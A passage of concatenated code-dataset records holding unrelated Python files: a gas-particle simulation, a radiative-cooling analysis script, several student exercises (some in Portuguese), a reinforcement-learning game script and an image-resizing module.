binSlider.value\n\nfreqText = label(text = 'Freq: ' + str(freq) + \" Hz\", pos = vec(3*L1,L1, 0), box = False, align = 'left' )\nampText = label(text = 'Amplitude: ' + str(amplitude*100) + ' cm', pos = vec(3*L1, -L1,0), box = False, align = 'left' )\n\nc = curve()\nnumBins = int(binSlider.value)\nseg = (2*L1+2*L2) / numBins\nfor i in range(numBins):\n c.append(pos=(0,0,0))\npositionBin=np.zeros(numBins)\n\np_N2, v_N2 = np.zeros((N,3)), np.zeros((N,3))\nfor i in range(N):\n p_N2[i] = [2 * L2*random() - L2, 2 * L2*random() - 2*L2, 2 * L2*random() - L2] # particle is initially random positioned in container\n ra = pi*random()\n rb = 2*pi*random()\n v_N2[i] = [vrms*sin(ra)*cos(rb), vrms*sin(ra)*sin(rb), vrms*cos(ra)] # particle initially same speed but random direction\n\ndef vcollision(a1p, a2p, a1v,a2v): # the function for handling velocity after collisions between two atoms\n v1prime = a1v - (a1p - a2p) * sum((a1v-a2v)*(a1p-a2p)) / sum((a1p-a2p)**2)\n v2prime = a2v - (a2p - a1p) * sum((a2v-a1v)*(a2p-a1p)) / sum((a2p-a1p)**2)\n return v1prime, v2prime\ncounter=0\n\nzeta0=5\ndelta0=2*L1/zeta0\norigin0=np.array([-L1,0,L1])\ngrid0=np.empty((zeta0,zeta0,zeta0),dtype=object)\n\nzeta=13\ndelta=4*L1/zeta\norigin=np.array([-2*L1,-4*L1,2*L1])\ngrid=np.empty((zeta,zeta,zeta),dtype=object)\ndef colli(zeta_,delta_,origin_,grid_):\n for i in range(zeta_):\n for j in range(zeta_):\n for k in range(zeta_):\n grid_[i,j,k]=[]\n for i in range(N):\n if p_N2[i][1]+size>=origin_[1] and p_N2[i][1]-size<=origin[1]+zeta_*delta_:\n _pos=p_N2[i]-origin_\n _pos[0]=math.floor(_pos[0]/delta_)\n _pos[1]=math.floor(_pos[1]/delta_)\n _pos[2]=math.floor(-_pos[2]/delta_) #change sign to positive\n _pos=_pos.astype(int)\n for j in range(3):\n if _pos[j]>=zeta_:\n _pos[j]=zeta_-1\n grid_[_pos[0],_pos[1],_pos[2]].append(i)\n for i in range(zeta_):\n for j in range(zeta_):\n for k in range(zeta_):\n length=len(grid_[i,j,k])\n #if length!=0: print(length)\n for l in range(length-1):\n _l=grid_[i,j,k][l]\n for m in range(l+1, length):\n _m=grid_[i,j,k][m]\n if math.sqrt((p_N2[_l][0]-p_N2[_m][0])**2+(p_N2[_l][1]-p_N2[_m][1])**2+(p_N2[_l][2]-p_N2[_m][2])**2)<2*size:\n if sum((p_N2[_l]-p_N2[_m])*(v_N2[_l]-v_N2[_m]))<0:\n v_N2[_l], v_N2[_m] = vcollision(p_N2[_l], p_N2[_m], v_N2[_l], v_N2[_m])\n\nwhile True:\n t=t+dt\n counter+=1\n if (not running): continue\n\n freqText.text = 'Freq: ' + str(freq) + ' Hz' \n ampText.text = 'Amplitude: ' + str(round(1000*amplitude)/10) + ' cm'\n amplitude = amplitudeSlider.value\n freq = freqSlider.value\n floor.pos.y=L1+amplitude*sin(2*pi*freq*t)\n floor_vy=2*pi*freq*amplitude*cos(2*pi*freq*t)\n p_N2=p_N2+ v_N2*dt # calculate new positions for all atoms\n\n colli(zeta0,delta0,origin0,grid0)\n colli(zeta,delta,origin,grid)\n\n # r_array = p_N2-p_N2[:,np.newaxis] # array for vector from one atom to another atom for all pairs of atoms\n # rmag = np.sqrt(np.sum(np.square(r_array),-1)) # distance array between atoms for all pairs of atoms\n # hit = np.less_equal(rmag,2*size)-np.identity(N) # if smaller than 2*size meaning these two atoms might hit each other\n # hitlist = np.sort(np.nonzero(hit.flat)[0]).tolist() # change hit to a list\n # for ij in hitlist: # i,j encoded as i*Natoms+j\n # i, j = divmod(ij,N) # atom pair, i-th and j-th atoms, hit each other\n # hitlist.remove(j*N+i) # remove j,i pair from list to avoid handling the collision twice\n # if sum((p_N2[i]-p_N2[j])*(v_N2[i]-v_N2[j])) < 0 : # only handling collision if two atoms are approaching each other\n # v_N2[i], v_N2[j] = vcollision(p_N2[i], p_N2[j], v_N2[i], v_N2[j]) # handle collision\n \n \n for i in range(N):\n if p_N2[i][1]>=0:\n if abs(p_N2[i][0]) >= L1 - size and p_N2[i][0]*v_N2[i][0] > 0 :\n v_N2[i][0] = - v_N2[i][0]\n if abs(p_N2[i][2]) >= L1 - size and p_N2[i][2]*v_N2[i][2] > 0 :\n v_N2[i][2] = - v_N2[i][2]\n if p_N2[i][1]>=floor.pos.y-floor.height/2-size and (v_N2[i][1]-floor_vy) > 0:\n v_N2[i][1] = - v_N2[i][1]+2*floor_vy\n if p_N2[i][1]<0:\n if abs(p_N2[i][0]) >= L2 - size and p_N2[i][0]*v_N2[i][0] > 0 :\n v_N2[i][0] = - v_N2[i][0]\n if abs(p_N2[i][2]) >= L2 - size and p_N2[i][2]*v_N2[i][2] > 0 :\n v_N2[i][2] = - v_N2[i][2]\n if p_N2[i][1] >= - size and p_N2[i][1]<0 and v_N2[i][1] > 0 and (abs(p_N2[i][0])>L1 or abs(p_N2[i][2])>L1):\n v_N2[i][1] = - v_N2[i][1]\n if p_N2[i][1] <= -2*L2 + size and p_N2[i][1]*v_N2[i][1] > 0 :\n v_N2[i][1] = - v_N2[i][1]\n \n newnumBins = int(binSlider.value)\n if numBins!=newnumBins:\n numBins=newnumBins\n c.clear()\n seg = (2*L1+2*L2) / numBins\n for i in range(numBins):\n c.append(pos=(0,0,0))\n positionBin=np.zeros(numBins)\n\n positionBin.fill(0)\n for i in range(N):\n j=0\n if p_N2[i][1]>0:\n j=math.floor((2*L1-p_N2[i][1])/seg)\n elif p_N2[i][1]<=0:\n j=math.floor((-p_N2[i][1]+2*L1)/seg)\n if j>=numBins:\n j=numBins-1\n positionBin[j]+=1\n for j in range(math.floor(2*L1/seg)):\n positionBin[j]*=4\n for j in range(numBins):\n c.modify(j,pos = vec(- ((positionBin[j])/N), 2*L1 - j*seg, 0))\n","sub_path":"vpython/new_main_without_sim.py","file_name":"new_main_without_sim.py","file_ext":"py","file_size_in_byte":7177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"39602798","text":"# Given a string S, remove the vowels 'a', 'e', 'i', 'o', and 'u' from it, and return the new string.\n\n# Example 1:\n\n# Input: \"leetcodeisacommunityforcoders\"\n# Output: \"ltcdscmmntyfrcdrs\"\n# Example 2:\n\n# Input: \"aeiou\"\n# Output: \"\n\n\ndef removeVowels(self, S: str) -> str:\n res = [] \n vowels = set(['a','e','i','o','u'])\n for c in S:\n if c not in vowels:\n res.append(c)\n return ''.join(res)\n \n","sub_path":"dailyProb/prob1119.py","file_name":"prob1119.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"457742908","text":"# Comare a designed structure to theoretical structures optimized for different \n# minimum temperatures (spectral windows)\n\nfrom __future__ import division, print_function, absolute_import\n\n#from tmm.tmm_core import (coh_tmm, unpolarized_RT, ellips,\n# position_resolved, find_in_structure_with_inf)\nfrom wptherml.wptherml.datalib import datalib\nfrom wptherml.wptherml.wpml import multilayer\nfrom numpy import linspace, inf, pi, stack, array\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nimport scipy.io as sio\n\n\n\n#%%\nclass IdealRadiator:\n \n def __init__(self, structure):\n self.slab = multilayer(structure)\n self.slab.tmm()\n self.T_atm = datalib.ATData(self.slab.lambda_array)\n self.BBamb = datalib.BB(self.slab.lambda_array, self.slab.T_amb)\n self.e_amb = np.empty([len(self.slab.t),len(self.slab.lambda_array)])\n for i in range(0,len(self.slab.t)):\n for j in range(0,len(self.slab.lambda_array)):\n angular_mod = 1./np.cos(self.slab.t[i])\n self.e_amb[i][j] = self.BBamb[j]*(1-self.T_atm[j]**angular_mod)\n #self.e_struct = self.slab.thermal_emission_array\n #self.BBml = datalib.BB(self.slab.lambda_array, self.slab.T_ml)\n self.lda = self.slab.lambda_array\n \n def optimal_spectrum(self, T):\n self.slab.T_ml = T\n self.slab.update()\n self.BBml = datalib.BB(self.slab.lambda_array, self.slab.T_ml) \n\n for i in range(0,len(self.slab.t)):\n for j in range(0,len(self.slab.lambda_array)):\n if (self.BBml[j]-self.e_amb[i][j]) > 0: # self.e_amb[j]:\n self.slab.emissivity_array_p[i,j] = self.slab.emissivity_array_s[i,j] = 1 \n else:\n self.slab.emissivity_array_p[i,j] = self.slab.emissivity_array_s[i,j] = 0\n \n \n self.slab.emissivity_array = self.slab.emissivity_array_p[0,:] \n self.slab.thermal_emission_ea() \n self.slab.thermal_emission() \n self.slab.cooling_power() \n self.e_struct = self.slab.thermal_emission_array\n \n def power_vs_temp_curve(self, Tmax, Tmin):\n temps = np.linspace(Tmax, Tmin, 10)\n CP =[]\n for temp0 in temps:\n self.slab.T_ml = temp0\n self.slab.update()\n self.slab.thermal_emission()\n self.slab.cooling_power()\n CP.append(self.slab.cooling_power_val)\n# print('Itteration temperature is ', self.slab.T_ml, 'K')\n# print('Itteration cooling power is ',self.slab.cooling_power_val, 'W/m^2' ) \n return CP, temps\n \n\n \nnm = 1e-9\num = 1e-6 \nstructure = {\n ### computation mode - inline means the structure and calculation\n ### type will be determined from the values of this dictionary\n 'mode': 'Inline',\n ### temperature of the structure - relevant for all thermal applications\n ### value is stored in attribute self.T\n 'Temperature': 300,\n ### actual materials the structure is made from\n ### values are stored in the attribute self.n\n #'Material_List': ['Air','SiO2', 'SiO2','Si3N4','Ag', 'Air'],\n 'Material_List': ['Air', 'Air', 'Air'],\n ### thickness of each layer... terminal layers must be set to zero\n ### values are stored in attribute self.d\n 'Thickness_List': [0, 0, 0], # You can not have the back reflector as the last layer!!!\n ### range of wavelengths optical properties will be calculated for\n ### values are stored in the array self.lam\n 'Lambda_List': [2500*nm, 30*um, 1000],\n ## Calculate for explicit angular dependence\n 'EXPLICIT_ANGLE': 1,\n ## Calculate quantities related to radiative cooling\n 'COOLING': 1\n }\n#\nrad = IdealRadiator(structure)\nT = [300,290,280,270,260,250,240,230]\ncps = []\ntemps = []\n#am_3p = []\n#am_5p = []\n#am_10p = []\n#am_1p = []\n\nlam = np.linspace(250*1e-9,2500*1e-9,1000)\ndl = lam[1]-lam[0]\nam15 = datalib.AM(lam)\nam15_integral = am15.sum()*dl\n##\nfor i in range(0,len(T)):\n rad.optimal_spectrum(T[i])\n cps0, temps0 = rad.power_vs_temp_curve(300, 220)\n cps.append(cps0)\n temps.append(temps0)\n# am_1p.append(0.01*am15_integral)\n# am_3p.append(0.03*am15_integral)\n# am_5p.append(0.05*am15_integral) \n# am_10p.append(0.1*am15_integral) \n \n#%%\n\n#plt.plot(lam, am15*1e-6)\nam_3p = []\nam_5p = []\nam_10p = []\nam_1p = []\nam_7p = []\nam_1p85 = []\n#am_1p_d = []\n#am_3p_d = []\n#am_5p_d = []\n#am_10p_d = []\n\n\nfor j in range(0,10):\n am_1p.append(0.01*am15_integral) \n am_1p85.append(0.0185*am15_integral) \n am_3p.append(0.03*am15_integral) \n am_5p.append(0.05*am15_integral) \n am_7p.append(0.07*am15_integral) \n am_10p.append(0.10*am15_integral) \n# am_1p.append(am_1p_d) \n# am_3p.append(am_3p_d) \n# am_5p.append(am_5p_d) \n# am_10p.append(am_10p_d) \n# am_1p.append()\n# am_3p.append(0.03*am15_integral)\n# am_5p.append(0.05*am15_integral) \n# am_10p.append(0.1*am15_integral) \n\n#%% Define convection \nq2 = (2*(300-temps[1])) \nq1 = (1*(300-temps[1])) \nq0p5 = (0.5*(300-temps[1])) \n\n#%%\nmpl.rcParams['lines.linewidth'] = 6\nmpl.rcParams['lines.markersize'] = 6\nmpl.rcParams['axes.titlesize'] = 30\nmpl.rcParams['axes.labelsize'] = 24\nmpl.rcParams['xtick.labelsize'] = 20\nmpl.rcParams['ytick.labelsize'] = 20\nmpl.rcParams['font.size'] = 20 \n \n \nplt.figure()\nplt.xlim(0,80)\nplt.ylim(0,100)\nplt.xlabel('$\\Delta Temp.$ ($T_{ambient}$ = 300K)', fontsize = 26)\n#plt.ylabel('Power density ($W \\cdot m^{-2} \\cdot um^{-1}$)',fontsize = 26)\nplt.ylabel('Power density ($W \\cdot m^{-2}$)',fontsize = 26)\ncolors = plt.rcParams['axes.prop_cycle'].by_key()['color']\n\nplt.plot(300-temps[0], am_1p,'k:', alpha = 0.3) \nplt.plot(300-temps[0], am_3p,'r:', alpha = 0.3) \nplt.plot(300-temps[0], am_5p,'g:', alpha = 0.3) \nplt.plot(300-temps[0], am_7p,'c:', alpha = 0.3) \nplt.plot(300-temps[0], am_10p,'b:', alpha = 0.3) \nplt.plot(300-temps[0], q2, 'r-.', alpha = 0.3)\nplt.plot(300-temps[0], q1, 'g-.', alpha = 0.3)\nplt.plot(300-temps[0], q0p5, 'b-.', alpha = 0.3)\n\nfor i in range(0,len(T)):\n plt.plot(300-temps[i], cps[i],\n color = colors[i+1])\n\nplt.grid() \nplt.show()\n\nsio.savemat('Cooling_Theory_Data.mat', {'AM1p5_1p': am_1p,\n 'AM1p5_3p': am_3p,\n 'AM1p5_5p': am_5p,\n 'AM1p5_7p': am_7p,\n 'AM1p5_10p': am_10p,\n 'Temp': temps,\n 'Cooling_Powers':cps,\n 'Q2': q2,\n 'Q1': q1,\n 'Q0p5':q0p5})\n#%% Simulate the cooling power of your structure at a range of temperatures\nnm = 1e-9\num = 1e-6 \nstructure = {\n ### computation mode - inline means the structure and calculation\n ### type will be determined from the values of this dictionary\n 'mode': 'Inline',\n ### temperature of the structure - relevant for all thermal applications\n ### value is stored in attribute self.T\n 'Temperature': 300,\n ### actual materials the structure is made from\n ### values are stored in the attribute self.n\n #'Material_List': ['Air','SiO2', 'SiO2','Si3N4','Ag', 'Air'],\n 'Material_List': ['Air','Si3N4','SiO2','Ag', 'Air'],\n ### thickness of each layer... terminal layers must be set to zero\n ### values are stored in attribute self.d\n #'Thickness_List': [0, 950*nm, 1900*nm, 200*nm, 0], # You can not have the back reflector as the last layer!!!\n 'Thickness_List': [0, 800*nm, 2000*nm, 200*nm, 0],\n ### range of wavelengths optical properties will be calculated for\n ### values are stored in the array self.lam\n 'Lambda_List': [250*nm, 30*um, 5000],\n ## Calculate for explicit angular dependence\n 'EXPLICIT_ANGLE': 1,\n ## Calculate quantities related to radiative cooling\n 'COOLING': 1\n }\n\nc_list = ['i','c','c','c','i']\n# Initialize the layer slab\nnp_slab = multilayer(structure)\n\n# Change one of the layers to an effective index\nfill_fraction = 0.3\nlayer = 1\nnp_slab.layer_alloy(layer,0.3,'Air','Si3N4','Bruggeman', plot = False)\nlayer = 2\nnp_slab.layer_alloy(layer,0.3,'Air','RC0_1B_SiO2','Bruggeman', plot = False)\n\ncp_structure = []\nfor T0 in temps[1]:\n np_slab.T_ml = T0\n np_slab.tmm()\n cp_structure.append(np_slab.cooling_power_val)\n\n#%% Plot theoretical vs structure cooling power based on defined losses\nmpl.rcParams['lines.linewidth'] = 6\nmpl.rcParams['lines.markersize'] = 6\nmpl.rcParams['axes.titlesize'] = 30\nmpl.rcParams['axes.labelsize'] = 24\nmpl.rcParams['xtick.labelsize'] = 20\nmpl.rcParams['ytick.labelsize'] = 20\nmpl.rcParams['font.size'] = 20 \n \n \n\ncps_2 = []\nfor i in range(0,len(T)):\n cps_2.append(np.array(cps[i])-np.array(am_1p85)-np.array(q0p5))\n \n\nplt.figure()\nplt.xlim(0,35)\nplt.ylim(0,90)\nplt.xlabel('$\\Delta Temp.$ ($T_{ambient}$ = 300K)', fontsize = 26)\n#plt.ylabel('Power density ($W \\cdot m^{-2} \\cdot um^{-1}$)',fontsize = 26)\nplt.ylabel('Power density ($W \\cdot m^{-2}$)',fontsize = 26)\ncolors = plt.rcParams['axes.prop_cycle'].by_key()['color']\n\nfor i in range(0,len(T)):\n plt.plot(300-temps[i], cps_2[i],\n color = colors[i+1],\n alpha = 0.7)\nplt.plot(300-temps[1], np.array(cp_structure)-np.array(q0p5), 'k:', label = 'Designed structure')\n\n\nplt.text(20.5, 50.5, '$P_{Conv+Cond} = 0.5 \\Delta T$ \\n \\n $Solar \\\\ absorption = 1.85% $', fontsize=24)\n\n\nplt.legend()\nplt.grid() \nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pw_compate_structure_to_optimal_structures.py","file_name":"pw_compate_structure_to_optimal_structures.py","file_ext":"py","file_size_in_byte":9910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"42637142","text":"import glob\n\ndir_lists = glob.glob(\"log_comp/*\")\nprodir = []\n\nfor dir in dir_lists:\n file_lists = glob.glob(dir+\"/*\")\n if len(file_lists) == 100:\n print(dir,\" ok\")\n else:\n print(dir,len(file_lists))\n prodir.append(dir)\n\nprint(prodir) \n","sub_path":"wolf-strategy/AIWolf-ver0.5.6/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"567773378","text":"'''\nMarcelo Nao Takayama\nTIA: 31942407\n'''\n\n################################################################################################\n\n# Função para adicionar no final do vetor\n\ndef adicionaFinal(v, qtd, num):\n\tif qtd < 100:\n\t\tv[qtd] = num\t\n\t\tqtd = qtd + 1\n\treturn qtd\n\n#################################################################################################\n\n# Função para adicionar em uma posição específica do vetor\n\ndef adicionaPosicao(posicao, num, vetor, novoVetor):\n\tif posicao == [0]:\n\t\tvetor[posicao] = num\n\telse:\n\t\tmoveDireita(vetor, vetor) \n\t\tvetor[posicao] = num \n\n##################################################################################################\n\ndef moveDireita(novoVetor, vetor): \n\tn = 1\n\tvetor = vetor\n\tnovoVetor = (vetor[len(vetor) - n:len(vetor)] + vetor[0:len(vetor) - n]) \n\treturn novoVetor\n \n#######################################################################################################\n\n#Função para printar o vetor de forma mais visual\n\ndef printVetor(vetor, qtd):\n\ti = 0\n\tprint('********************************************************')\n\tprint('Vetor: [', end = ' ')\n\twhile i < qtd:\n\t\tprint(vetor[i], end = ' ')\n\t\ti += 1\n\tprint(']', end = ' ')\n\tprint()\n\tprint('********************************************************')\n\n######################################################################################################\n\n#Função para verificar se o valor se encontra no vetor\n\ndef verificaPosicao(vetor, valor):\n\ta = vetor\n\tb = [i for i in range(len(a)) if a[i]==valor]\n\tif valor not in vetor:\n\t\tprint()\n\t\tprint('--------------------------------------------------------')\n\t\tprint(\"O valor está na(s) posições: -1\")\n\t\tprint('--------------------------------------------------------') \n\telse:\n\t\tprint()\n\t\tprint('--------------------------------------------------------')\n\t\tprint(\"O valor está na(s) posições: \", b)\n\t\tprint('--------------------------------------------------------') \n\n######################################################################################################\n\n#Função para remover todas as ocorrências de um elemento na coleção\n\ndef removeTodos(vetor, elem):\n\tfor i in range (len(vetor)):\n\t\tif vetor[i]==elem:\n\t\t\tvetor[i]=0\n\treturn(vetor)\n\n######################################################################################################\n\n#Função para remover o elemento de uma posição específica\n\ndef removePosicao(vetor,pos):\n\ti = 0\n\tif pos != vetor[i]:\n\t\tprint('Essa posição não é válida')\n\telse:\n\t\tvetor[:] = [x for i,x in enumerate(vetor) if i!=pos]\n\treturn vetor\n\n######################################################################################################\n# Função principal do programa\ndef main():\n\tvetor = [0]*100\n\tqtd = 0\n\tescolha = -1\n\n\twhile escolha != 8:\n\t\tprint()\n\t\tprint(\"_________________________________________________________\")\n\t\tprint()\n\t\tprint('MENU DE ESCOLHAS')\n\t\tprint()\n\t\tprint('1- Adicionar um número no final do vetor')\n\t\tprint('2- Adicionar um número em uma posição do vetor')\n\t\tprint('3- Remover uma posição específica do vetor')\n\t\tprint('4- Opção 4')\n\t\tprint('5- Remover todas as ocorrências de um elemento no vetor')\n\t\tprint('6- Verificar se um valor se encontra no vetor')\n\t\tprint('7- Opção 7')\n\t\tprint('8- Sair do programa')\n\t\tprint()\n\t\tprint(\"_________________________________________________________\")\n\t\tprint()\n\n\t\tescolha = int(input('Informe a opção que deseja realizar: '))\n\t\tprint()\n\n\t\tif escolha == 1:\n\t\t\tnum = int(input('Digite o número que deseja inserir: '))\n\t\t\tqtd = adicionaFinal(vetor, qtd, num)\n\n\t\telif escolha == 2:\n\t\t\tposicao = int(input('Informe a posição em que deseja inserir um número: '))\n\t\t\tnum = int(input('Digite o número que deseja inserir: '))\n\t\t\tadicionaPosicao(posicao, num, vetor)\n\n\t\t\n\t\telif escolha == 3:\n\t\t\tpos = int(input('Digite a posição que deseja remover: '))\n\t\t\tremovePosicao(vetor, pos)\n\n\t\t# elif escolha == 4:\n\n\t\telif escolha == 5:\n\t\t\telem = int(input(\"Digite o número que deseja remover: \"))\n\t\t\tremoveTodos(vetor, elem)\n\n\t\telif escolha == 6:\n\t\t\tvalor = int(input(\"Digite o valor que deseja procurar: \"))\n\t\t\tverificaPosicao(vetor, valor)\n\n\t\t# elif escolha == 7:\n\n\t\telif escolha == 8:\n\t\t \tbreak\n\t\t\n\t\tif escolha <= 7 and escolha >= 1:\n\t\t\tprint()\n\t\t\tprintVetor(vetor, qtd)\n\nmain()","sub_path":"segundoSemestre/Python/trabalhoColecao.py","file_name":"trabalhoColecao.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572348850","text":"\"\"\"\nExercício 5.9\nEscreva um programa que leia dois números.\nImprima a divisão inteira do primeiro pelo segundo, assim como o resto da\ndivisão. Utilize apenas os operadores de soma e subtração para calcular o\nresultado. Lembre-se de que podemos entender o quociente da divisão de dois\nnúmeros com a quantidade de vezes que podemos retirar o divisor do dividendo.\nLogo, 20 / 4 = 5, uma vez que podemos subtrair 4 cinco vezes de 20.\n\"\"\"\n\ndivisor = int(input('Digite o divisor: '))\ndividendo = int(input('Digite o dividendo: '))\n\ni = 0\nwhile divisor >= 1:\n divisor = divisor - dividendo\n i += 1\nprint('Quociente: {} \\nResto: {}'.format(i, divisor))\n","sub_path":"exercicio_24.py","file_name":"exercicio_24.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"470747843","text":"import EnvOps\nimport AnalysisOps\nfrom AnalysisOps import phi\nimport LogOps\nimport model\nimport time\nimport os,sys\nimport numpy as np\nimport tensorflow as tf\nfrom selenium import webdriver\n\nglobal count\ncount = 0\n\n\ndef epsodic(env):\n q_model = model.FeedModel()\n q_model.restore_model('model/RL.ckpt')\n sample_path = LogOps.LogOps('memory/eps.csv')\n if os.path.exists('memory/eps.csv') is False:\n sample_path.create()\n global count\n for _ in range(1,1000):\n A = [1]\n while bool(A):\n count = count + 1\n s_old = phi(env.state())\n a = eps_greedy(s = s_old, model= q_model,eps= 0.01)\n env.action(a)\n r = env.reward()\n time.sleep(0.1)\n s_new = phi(env.state())\n sample_path.write(s_old, a, r, s_new)\n A = AnalysisOps.A(s_new)\n if count % 100 == 0:\n s,a,r,s_ = sample_path.reconstruct(1024)\n q_model.DQN_train(s, a, r, s_)\n q_model.save_model('model/RL.ckpt')\n env.retry()\n q_model.sess.close()\n\n\n\n\ndef eps_greedy(s,model,eps):\n A = AnalysisOps.A(s)\n if np.random.rand() self.box_width * height:\n new_height = self.box_height\n new_width = new_height * width / height\n else:\n new_width = self.box_width\n new_height = new_width * height / width\n return (new_width, new_height)\n\nclass BoxFitCrop(ImageDimensions, BoxMixin):\n def get_image_dimensions(self, width, height):\n return (self.box_width, self.box_height)\n\nclass BoxFitConstrain(ImageDimensions, BoxMixin):\n def get_image_dimensions(self, width, height):\n if width * self.box_height > self.box_width * height:\n new_width = self.box_width\n new_height = new_width * height / width\n else:\n new_height = self.box_height\n new_width = new_height * width / height\n return (new_width, new_height)\n\nclass BoxFitWithRotation(ImageDimensions, BoxMixin):\n def fit(self, width, height):\n if width * self.box_height > self.box_width * height:\n new_width = self.box_width\n new_height = new_width * height / width\n else:\n new_height = self.box_height\n new_width = new_height * width / height\n return (new_width, new_height)\n\n def get_image_dimensions(self, width, height):\n landscape_width, landscape_height = self.fit(width, height)\n portrait_height, portrait_width = self.fit(height, width)\n\n if landscape_width > portrait_width or landscape_height > portrait_height:\n return (landscape_width, landscape_height)\n else:\n return (portrait_width, portrait_height)\n\ndef only_shrink(image_dimensions_klass):\n class OnlyShrink(image_dimensions_klass):\n def get_image_dimensions(self, width, height):\n (new_width, new_height) = super(OnlyShrink, self).get_image_dimensions(width, height)\n if new_width <= width and new_height <= height:\n return (new_width, new_height)\n else:\n return (width, height)\n return OnlyShrink\n\nBoxFitWithRotationOnlyShrink = only_shrink(BoxFitWithRotation)\nBoxFitConstrainOnlyShrink = only_shrink(BoxFitConstrain)\n\nimage_sizes = {\n 'r_qvga' : BoxFitWithRotationOnlyShrink(320, 240),\n 'r_hvga' : BoxFitWithRotationOnlyShrink(480, 320),\n 'r_vga' : BoxFitWithRotationOnlyShrink(640, 480),\n 'r_wvga' : BoxFitWithRotationOnlyShrink(800, 480),\n 'r_qhd' : BoxFitWithRotationOnlyShrink(960, 540),\n 'r_dvga' : BoxFitWithRotationOnlyShrink(960, 640),\n 'r_dvgax': BoxFitWithRotationOnlyShrink(1136, 640),\n 'r_hd' : BoxFitWithRotationOnlyShrink(1280, 720),\n 'r_xga' : BoxFitWithRotationOnlyShrink(1024, 768),\n 'r_wxga' : BoxFitWithRotationOnlyShrink(1280, 800),\n 'r_fhd' : BoxFitWithRotationOnlyShrink(1920, 1080),\n 'r_qxga' : BoxFitWithRotationOnlyShrink(2048, 1536),\n 'r_wqxga': BoxFitWithRotationOnlyShrink(2560, 1600),\n 'thumb75': BoxFitExpanded(192, 192), # Name should be changed, and apps should be updated with the new name\n 'iphone3': BoxFitWithRotationOnlyShrink(480, 320), # TODO Delete: Deprecated by r_hvgq\n 'iphone4': BoxFitWithRotationOnlyShrink(960, 640), # TODO Delete: Deprecated by r_dvga\n 'iphone5': BoxFitWithRotationOnlyShrink(1136, 640), # TODO Delete: Deprecated by r_dvgax\n 'crop140': BoxFitCrop(140, 140),\n '940x570': BoxFitConstrainOnlyShrink(940, 570)\n }\n\ndef photo_is_processed(storage_id):\n # Check that the original file exists\n img_file_path = os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, storage_id + '.jpg')\n if not os.path.isfile(img_file_path):\n return False\n\n # Check that all the processed resized images exist\n for image_size_str in image_sizes.iterkeys():\n resized_img_file_path = os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, storage_id + '_' + image_size_str + '.jpg')\n if not os.path.isfile(resized_img_file_path):\n return False\n\n return True\n\n\"\"\"\nTakes into account EXIF Orientation metadata\n\"\"\"\ndef load_image_correct_orientation(img_file_path):\n # Values for the \"Orientation\" tag from the EXIF Standard\n # See \n EXIF_ORIENTATION_DEGREES = {\n 3 : 180, # Rotated 180\n 6 : 270, # Rotated 90 CW\n 8 : 90 } # Rotated 90 CCW\n\n # Helper function\n def get_tag_value(exif, tag_name):\n if not exif:\n return None\n\n for tag, value in exif.items():\n decoded = ExifTags.TAGS.get(tag, tag)\n if decoded == tag_name:\n return value\n\n return None\n\n # Actual execution starts here:\n img = Image.open(img_file_path)\n if hasattr(img, '_getexif'):\n orientation_value = get_tag_value(img._getexif(), 'Orientation')\n else:\n orientation_value = None\n degrees = EXIF_ORIENTATION_DEGREES.get(orientation_value)\n if not (degrees is None):\n return img.rotate(degrees)\n else:\n return img\n\ndef create_mipmaps(img):\n (img_width, img_height) = (img.size[0], img.size[1])\n def calc_min_dimensions():\n target_sizes = [d.get_image_dimensions(img_width, img_height) for d in image_sizes.itervalues()]\n\n min_width = 9999999\n min_height = 9999999\n for w,h in target_sizes:\n if w < min_width:\n min_width = w\n if h < min_height:\n min_height = h\n return (min_width, min_height)\n\n min_width, min_height = calc_min_dimensions()\n\n w = img_width\n h = img_height\n\n mipmaps = [((w, h), img)]\n\n while w >= min_width*2 and h >= min_height*2:\n w //= 2\n h //= 2\n\n m = mipmaps[-1][1].resize((w, h), Image.BILINEAR)\n mipmaps.append(((w, h), m))\n\n mipmaps.reverse()\n return mipmaps\n\ndef get_best_mipmap(mipmaps, width, height):\n for ((w, h), m) in mipmaps:\n if w >= width and h >= height:\n return m\n # No matches found, return the largest mipmap (will be the original image):\n return mipmaps[-1][1]\n\ndef process_uploaded_image(storage_id):\n img_file_path = os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, storage_id + '.jpg')\n\n img = load_image_correct_orientation(img_file_path)\n (img_width, img_height) = (img.size[0], img.size[1])\n\n mipmaps = create_mipmaps(img)\n\n saved_images = []\n\n def get_matching_saved_image(width, height):\n for (w, h), filename in saved_images:\n if w == new_width and h == new_height:\n return filename\n return None\n\n for image_size_str, image_dimensions_calculator in image_sizes.iteritems():\n (new_width, new_height) = image_dimensions_calculator.get_image_dimensions(img_width, img_height)\n\n filename = storage_id + '_' + image_size_str + '.jpg'\n\n saved_image = get_matching_saved_image(new_width, new_height)\n if saved_image:\n symlink_name = os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, filename)\n if os.path.isfile(symlink_name):\n os.remove(symlink_name)\n os.symlink(saved_image, symlink_name)\n continue\n\n mipmap = get_best_mipmap(mipmaps, new_width, new_height)\n if new_width == mipmap.size[0] and new_height == mipmap.size[1]:\n new_img = mipmap\n elif new_height * img_width // img_height == new_width or new_width * img_height // img_width == new_height:\n new_img = mipmap.resize((new_width, new_height), Image.BILINEAR)\n else:\n new_img = ImageOps.fit(mipmap, (new_width, new_height), Image.BILINEAR, 0, (0.5, 0.5))\n new_img.save(os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, filename))\n saved_images.append(((new_width, new_height), filename))\n\n 